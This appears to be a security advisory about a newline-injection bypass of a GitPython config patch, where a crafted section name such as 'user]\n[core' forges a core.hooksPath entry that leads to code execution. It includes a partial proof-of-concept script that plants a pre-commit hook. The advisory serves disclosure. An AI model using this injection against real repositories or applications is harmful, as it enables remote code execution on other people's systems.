Description

GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath Summary

The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.

Details

File: git/config.py — GitPython 3.1.49 (latest patched version)

  def set_value(self, section: str, option: str, value) -> "GitConfigParser":
      value_str = self._value_to_string_safe(value)   # only value is validated
      if not self.has_section(section):
          self.add_section(section)                    # section not validated
      super().set(section, option, value_str)          # option not validated
      return self

_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.

PoC

  import git, os, subprocess

  repo = git.Repo.init("/tmp/bypass_test")

  os.makedirs("/tmp/evil_hooks", exist_ok=True)
  with open("/tmp/evil_hooks/pre-commit", "w") as f:
      f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
  os.chmod("/tmp/evil_hooks/pre-commit", 0o755)...
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Impact

Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.

Mitigation

Aliases

References